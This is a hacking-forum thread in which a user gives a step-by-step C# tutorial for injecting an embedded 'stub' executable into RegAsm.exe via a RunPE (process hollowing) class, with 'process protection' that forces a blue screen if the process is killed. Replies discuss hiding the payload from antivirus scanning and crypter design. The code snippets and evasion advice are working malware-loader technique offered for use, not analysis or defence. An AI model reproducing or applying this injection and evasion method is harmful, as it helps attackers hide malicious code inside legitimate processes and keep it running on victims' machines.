

Forum:[Hack Forums](#)

Thread: [Injecting embedded stub into protected process using RunPE](#)

Voidlight - January 14, 2021, 10:08 pm

Firstly we want to open the project properties

Secondly, we must add the stub.exe we wish to run into our project's resources. This can be done by navigating to Solution Explorer and clicking on Properties. At the top tabs, click the down arrow next to the Add Resources button to get the dropdown. Click on Add Existing File

The following code can be implemented anywhere in your project, but for the purpose of this tutorial, I will be placing it into a static method called InjectIntoRegAsm()

Here is our first line:

This string contains the path to the executable you wish to inject into. For this tutorial I will be injecting into RegAsm.exe located in .Net Framework folder.

PHP Code

```
<?php
```

```
//Injection directory in this case is pointing to RegAsm.exe located in the .Net framework folder.  
string injectionPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory()).Replace(  
"Framework64", "Framework"), "RegAsm" + ".exe");
```

Here is our second line:

We are setting up the path to where we are going to write the bytes of our embedded stub

PHP Code

```
<?php
```

```
//pathToStubEXE = windows temp folder + payload name  
string pathToStubEXE = Path.Combine(Path.GetTempPath(), "stub.exe");
```

Here is our third line:

Read comments to understand

PHP Code

```
<?php
```

```
//Take the payload bytes stored in resources and write it to pathToStubEXE location  
//Payload.Properties.Resources.stub refers to the location in resources containing the binary you want to inject.
```

```
//Change "Payload" to your project name
```

```
File.WriteAllBytes(pathToStubEXE, Payload.Properties.Resources.stub);
```

Final line:

This is where we perform the RunPE injection after setting up all the variables we need and unpacking the stub

PHP Code

<?php

//Using RunPE class, inject the unpacked exe into regasm.exe and run it with process protection

//Third parameter checks if we want to protect the injected process or not

RunPE.Run(injectionPath, File.ReadAllBytes(pathToStubEXE), true);

RunPE Class by Artist:

[RunPE Pastebin](#)

Elijah - January 15, 2021, 12:26 am

Sorry for a noob question, am not a programmer.

"protected process" = Wont be able to kill process in win 10?

guardian - January 15, 2021, 12:39 am

(Jan 15, 2021 01:26 AM)Elijah Wrote: [\[CITE\]](#) Sorry for a noob question, am not a programmer.

"protected process" = Wont be able to kill process in win 10?

I think by 'protected process' he is referring to the legitimate process he is injecting his shellcode into, in order to avoid raising any red flags.

Voidlight - January 15, 2021, 12:30 pm

(Jan 15, 2021 01:26 AM)Elijah Wrote: [\[CITE\]](#) Sorry for a noob question, am not a programmer.

"protected process" = Wont be able to kill process in win 10?

It will make the exe you injected into cause a BSOD if ended.

StarZ - January 15, 2021, 2:40 pm

Why are you writing the payload to the disc? Dropping the payload makes this scantime, not runtime. So essentially pointless. Also, The payload is what you're protecting, the stub is the basis for the output.

Voidlight - January 15, 2021, 5:42 pm

(Jan 15, 2021 03:40 PM)StarZ Wrote: [\[CITE\]](#) Why are you writing the payload to the disc? Dropping the payload makes this scantime, not runtime. So essentially pointless. Also, The payload is what you're protecting, the stub is the basis for the output.

This is a tutorial on how to implement the RunPE class, not on how to make a crypter. Dropping the exe was an example. Yes you can easily just read the bytes directly into the RunPE class instead of first dropping it

StarZ - January 15, 2021, 7:48 pm

(Jan 15, 2021 06:42 PM)Hideki Ryuga Wrote: [\[CITE\]](#) This is a tutorial on how to implement the RunPE class, not on how to make a crypter. Dropping the exe was an example. Yes you can easily just read the bytes directly into the RunPE class instead of first dropping it

A tutorial on one line of code? Neato. If you're going to do something, do it properly.

Voidlight - January 15, 2021, 8:45 pm

(Jan 15, 2021 08:48 PM)StarZ Wrote: [\[CITE\]](#) A tutorial on one line of code? Neato. If you're going to do something, do it properly.

How would you do it?

StarZ - January 15, 2021, 10:29 pm

(Jan 15, 2021 09:45 PM)Hideki Ryuga Wrote: [\[CITE\]](#) How would you do it?

I would show them how to properly implement it in a realistic project, It's not hard anyways. If they don't know how to call a function, they have no business in an IDE. They should go back and learn the basic fundamentals and logic behind what we do.

arsium - February 19, 2021, 9:54 am

Seems similar to : <https://github.com/NYAN-x-CAT/CSharp-RunPE/blob/master/RunPE/RunPE.cs>